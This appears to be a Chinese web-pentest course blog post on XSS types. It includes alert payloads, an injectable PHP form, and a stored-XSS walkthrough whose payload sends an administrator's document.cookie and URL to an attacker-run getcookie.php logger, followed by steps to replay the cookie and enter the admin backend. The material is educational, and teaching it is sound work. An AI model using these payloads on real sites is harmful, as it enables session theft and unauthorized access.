day3-xss漏洞(米斯特web渗透测试)
day3-xss漏洞(米斯特web渗透测试)
- XSS
- Xss种类三种反射型
- 1.反射型xss
- 2.存储型xss
- 3.DOM型xss
XSS
Xss有一部分是前端的有一部分不是前端的,我们来看一下,昨天的HTML注入修复方法应灵活使用。

HTML注入是注入一段HTML,那么HTML里面包含了css,js。昨天css也利用过了(如用黑色背景将其覆盖掉,把下面用白色背景覆盖掉,再写上登录框)。Xss也可以这样利用。
Xss实际上是插入一段JavaScript代码,但JavaScript代码是可以使用HTML标签调用的。
看上方的http://html.php?html=<script>alert(1)</script>,导致右下方弹出一个含1的框。
alert(1)弹出一个框内容是里面的东西。
Xss和HTML注入都是将一段代码插入页面中。
Xss种类三种反射型

1.反射型xss
反射型xss(白帽子发送了一个xss代码到服务器上,需要经过服务器PHP代码查看处理的,处理完后会将这段代码返回,返回会在浏览器上 看得到,如果此时存在xss那就会弹出上面这个框。)
Payload有效载荷,它的实际意思是测试了一段payload测试了一段代码,相当于xss代码相当于HTML注入的代码。在输入xss代码时浏览器可能会拦截可以关掉拦截。直接用火狐浏览器吧。在火狐没有拦截,可以弹框的。当弹框后就检测成功了,还没有达到利用程度。其实自带的E浏览器也是可以使用的。

2.存储型xss
存储型xss(现在只讲检测不讲利用,等会再利用)浏览器发送一段payload一段xss代码到服务器,服务器后端代码经过处理要存储给数据库,而这个测试的页面后端的代码从数据库查询过来的东西。查询你插入的这段代码,并把你这段代码输送到页面中。这时如果你在输出的时候没有做限制,或者你在浏览器刚开始发送的时候没有做限制。输入点和输出点没有做限制是存在漏洞的那我们来看一下。

如上图所示,左上方有个网站,有个名字(代码),我们点击添加,发现他的数据库中的name这一列多了一个名字(代码),那么我们去找对应的页面,可以看到页面一打开就弹出了一个xss,因为name值是xss代码,输出的也是直接把xss代码解析了,所以才会有这个弹框。
接下来实战一下
下面是safe.php的代码
<?php
$conn = mysql_connect('localhost','root','root') or die('bad!');//连接数据库
mysql_query("SET NAMES utf-8'");
mysql_select_db('xsstest',$conn) OR emMsg("数据库连接失败");//选择一个数据库
if (@$_POST['name']) {$name = $_POST['name'];$sql = "INSERT INIO 'admin' ('name') VALUES ('{$name}');";$result = mysql_query($sql,$conn) or die(mysql_error());echo "<script>alert(/添加成功!/)</script>";
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8" /><title>用户添加</title>
</head>
<body>
<form action="" method="post">name:<input type="text" name="name"><br><input type="submit" value="add">
</form>
</body>
</html>
个人中心这一块怎么利用,我们只需让攻击者在被攻击者访问这个,现在保密,在下个漏洞讲,需要结合另一个漏洞

3.DOM型xss
DOM型xss,这个js可以操作前端的代码,是前端中的王者。DOM型xss是因为JavaScript出了问题,前端的代码出了问题才导致的这些DOM节点被修改、创建、删除。
DOM发送并返回,整个操作在浏览器中进行,而反射型(发给服务器处理并返回,无持久性,删除了这段url代码就没有漏洞)、存储型(发给服务器处理、存储、再返回,在数据库中有持久性)都需发给服务器。
基于DOM的跨站点脚本不需要依赖于服务器端响应的内容,如果某些HTML页面使用了document.location\document.URL或者document.referer等DOM元素的属性,攻击者可以利用这些属性植入恶意脚本实施基于DOM的跨站点脚本攻击。


他们的危害是类似的,存储型xss危害相对较大
这个存储型如果在个人中心利用的话会比较麻烦,我们来看一下xss盲打的实例,假设在一个公司工作,客户给一个留言板,要求测试此留言板是否有漏洞,因为学了xss刚刚,这时先测一下有没有xss漏洞。
一切前端的属性限制在审查元素中是无效的,若是输入密码或账号有字数限制,可以在审查元素中看到maxlength这一属性将其字数限制修改,然后在页面就能成功了。
注意你发表留言,你能看到吗?提交时发现提交成功,留言需经管理员审核才能发布,想一下,如果管理员发现怎么办,管理员后台如果过触发了这段代码怎么办或者将这些代码删掉了怎么办(并没有点击进去看)
注意尽量在姓名和邮箱这边不要插入xss代码,姓名后端也会给限制,或者邮箱无@等格式也不给发送给管理员,所以一般会在留言内容中插入<script>alert(1)</script>进行测试,自己这边代码并未执行,而管理员点进去之后代码也并未执行到底是为什么呢然而在审查元素时会发现,它是被HTML实体化编码了,这个xss代码并未被解析。两个思路一个不干了,一个研究xss的payload能去解析才行。
<input type="submit" value="<script>alert(1)</script>">,注意xss代码在value中前后被“”包起来了,想一下,我们也可以输入双引号进去,在input标签内左右尖括号包好,如何构建此payload另其真正的被执行解析呢
<input type="submit" value=""><script>alert(1)</script>">将上面的xss代码变为"><script>alert(1)</script>就能从value中逃逸出来。当你以这个代码输入到浏览内容并发送时,管理员打开就会触发xss,然后就弹出1了。这时你就会想管理员弹出1了我们怎么知道,要知道js代码什么都可以控制,管理员去访问我们的一个文件,我们可以记录一下谁访问我们的文件,document.location.href=”http://www.hi-ourlife.com/”。将输入的内容变成
"><script>document.location.href=”http://www.hi-ourlife.com/”</script>此时这个网站会有记录。
有个getcookie.php,有些数据要存在客户端,cookie主要是用于辨别用户,也算是凭证吧,我们获取了它的cookie获取了它的凭证,获取了其管理员的凭证,第一步即验证了这个漏洞真实存在,第二个我们获取了它的凭证就能登录其后台。我们就可以试试,那怎么构建呢?
此getcookie.php是放在我们的网站下面的路径就是
http://192.168.0.109/mst/getcookie.php?cookie=
<?php
if (file_put_contents("cookie.txt", 'Cookie:'.$_GET['cookie'],FILE_APPEND)) {echo "ok";
}
?>
document.cookie在自己的网站中也可以获取cookie
接下来我们在留言板内容中输入”><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie</script>但是我们获取了cookie之后但不知道后台是什么,还需要将后台获取出来。
故在留言板中的内容要输入下方代码
“><script>document.location.href=”http://192.168.0.109/mst/getcookie.php?cookie=”+document.cookie+”&durl=”+document.URL</script>
我们已经在生成的txt文件中获得管理员的cookie了,那如何使用呢?很简单,火狐浏览器打开,安装一个插件firebug,安装好后会令你重启一个浏览器,重启,右键使用firebug查看元素,此时点击cookie,编辑一下,将获得的cookie写入,也可以将cookie失效日期更改然后再点击输入管理员网站,注意要改成会话模式。此时注意可以进来了。
当然xss也会有httponly这个也是希望大家课后自主学习一下,今天先到这明天还会讲之前的个人中心漏洞打一个组合拳一起利用。
相关文章:
day3-xss漏洞(米斯特web渗透测试)
day3-xss漏洞(米斯特web渗透测试) XSSXss种类三种反射型1.反射型xss2.存储型xss3.DOM型xss XSS Xss有一部分是前端的有一部分不是前端的,我们来看一下,昨天的HTML注入修复方法应灵活使用。 HTML注入是注入一段HTML,那…...
HTML中的<iframe>标签及其属性
<iframe>标签在HTML中用于嵌入另一个HTML页面。它提供了一种在当前页面内展示外部内容的方式,而无需离开当前页面。以下是<iframe>的一些常用属性: src:指定要嵌入的页面的URL。width 和 height:设置iframe的尺寸。n…...
Elastisearch集群(单节点)
目录 一、文件下载 二、创建linux es用户 三、上传、解压canal、es、kibana 四、配置es通讯证书(生成证书给es配置使用) 五、配置elastisearch 六、修改系统配置 七、添加ik分词器支持(可选) 八、给文件赋值权限 九、设置…...
Vue78-缓存路由组件
一、需求 路由切走的时候,组件会被销毁,路由切回来,组件被挂载! 需要:路由切走的时候,组件不会被销毁。 二、代码实现 若是不加include属性,则在<router-view>里面展示的路由,…...
windows设置开机启动项
将文件放到下面路径即可实现每次开机启动 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup...
【Linux】 yum学习
yum介绍 在Linux系统中,yum(Yellowdog Updater, Modified)是一个用于管理软件包的命令行工具,特别适用于基于RPM(Red Hat Package Manager)的系统,如CentOS、Fedora和Red Hat Enterprise Linux…...
Mac数据如何恢复?3 款最佳 Mac 恢复软件
如果您认为 Mac 上已删除的文件永远丢失了,那您就大错特错了!实际上,即使您清空了 Mac 上的垃圾箱,也有许多解决方案可以帮助您恢复已删除的文件。最好的解决方案之一是 Mac 恢复删除软件。最好的Mac 恢复删除应用程序可以轻松准确…...
基于SpringBoot+Vue航空票务管理系统设计和实现(源码+LW+调试文档+讲解等)
💗博主介绍:✌全网粉丝1W,CSDN作者、博客专家、全栈领域优质创作者,博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来,还…...
Gnu/Linux 之 C 语言函数列表初步整理
Linux为C语言编程提供了丰富的函数库,这些函数库覆盖了从基本输入输出、文件操作、字符串处理到系统调用等各个方面。以下是一些常见的Linux C函数示例: 输入输出函数 printf(): 输出格式化的字符串到标准输出。scanf(): 从标准输入读取格式化的数据。…...
Java学习 (二)关键字、标识符、数组
一、关键字 我们第一章案例中有很多关键字,比如class、public、static、void等,这些关键字依旧被java定义好了,可以拿来用,不需要死记硬背,按照官方文档查询即可 #官方文档 https://docs.oracle.com/javase/tutorial/j…...
数据结构与算法笔记:基础篇 - 初始动态规划:如何巧妙解决“双十一”购物时的凑单问题?
概述 淘宝的 “双十一” 购物节有各种促销活动,比如 “满 200 元减 50元”。假设你女朋友购物车中有 n 个(n > 100)想买的商品,它希望从里面选几个,在凑够满减条件的前提下,让选出来的商品价格总和最长…...
使用 select 进行 UART 通信的注意事项
文章目录 引言UART 通信中的 select 函数select 函数的工作原理使用 select 进行 UART 通信的注意事项示例代码 引言 UART(Universal Asynchronous Receiver/Transmitter)是一种用于异步串行通信的硬件协议,常用于计算机和外设之间的数据交换…...
干货 | 2024低空经济产业发展白皮书(免费下载)
【1】关注本公众号,转发当前文章到微信朋友圈 【2】私信发送 2024低空经济产业发展白皮书 【3】获取本方案PDF下载链接,直接下载即可。 如需下载本方案PPT/WORD原格式,诚挚邀请您微信扫描以下二维码加入方案驿站知识星球,获取上…...
打开nginx连接的php页面报错502
目录 问题描述: 原因: 1. 使用 Unix 域套接字(Unix Socket) 区别和优势: 2. 使用 TCP/IP 套接字 区别和优势: 如何选择 扩展:Rocky_Linux9.4安装PHP的步骤: 使用Remi存储库…...
Qt之文件操作(QFile、QFileInfo、QTemporaryFile)
文章目录 前言QFile如何使用 QFile QFileInfo如何使用 QFileInfo QTemporaryFile如何使用 QTemporaryFile QFile常用函数QFileInfo常用函数QTemporaryFile常用函数总结 前言 在开发 Qt 应用程序时,我们经常需要进行文件操作,如读取文件、写入文件、获取…...
Python爬虫初试
在Python中,我们可以使用一些强大的库来编写一个功能强大的爬虫, Python 首先安装必要的库(如果尚未安装) pip install requests beautifulsoup4 import requests from bs4 import BeautifulSoup import osdef download_images(…...
ARM-V9 RME(Realm Management Extension)系统架构之系统初始化流程
安全之安全(security)博客目录导读 目录 一、重置取消 二、应用处理单元(PE)初始启动 三、MSD初始化 四、GPT初始化 五、初始启动退出(由所有应用PE执行) 六、RMSD初始化 七、PE进入丢失上下文的低功耗状态 本博客提供了R…...
软件工程考试题备考
文章目录 前言一、二、1.2 总结 前言 一、 B D C 类图、对象图、包图 其他系统及用户 功能需求 用例 人、硬件或其他系统可以扮演的角色7. D C 数据 原型/系统原型;瀑布 A 功能;功能需求 D 数据存储;圆形/圆角矩形;矩形 C T;T;F C C B C D C …...
一款基于WordPress开发的高颜值的自适应主题Puock
主题特性 支持白天与暗黑模式 全局无刷新加载 支持博客与CMS布局 内置WP优化策略 一键全站变灰 网页压缩成一行 后台防恶意登录 内置出色的SEO功能 评论Ajax加载 文章点赞、打赏 支持Twemoji集成 支持QQ登录 丰富的广告位 丰富的小工具 自动百度链接提交 众多页面模板 支持评论…...
浙教版 七年级下册 科学复习干货
七年级下册 浙教版科学 复习干货 文章目录 七年级下册 浙教版科学 复习干货第 I 章人类 H u m a n Human Human人类生殖系统胚胎发育、娩出过程青春期 动物 A n i m a l Animal Animal生长时期有性生殖无性生殖 植物 P l a n t Plant Plant种子结构种子萌发芽花有性生殖无性…...
深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
Python实现prophet 理论及参数优化
文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...
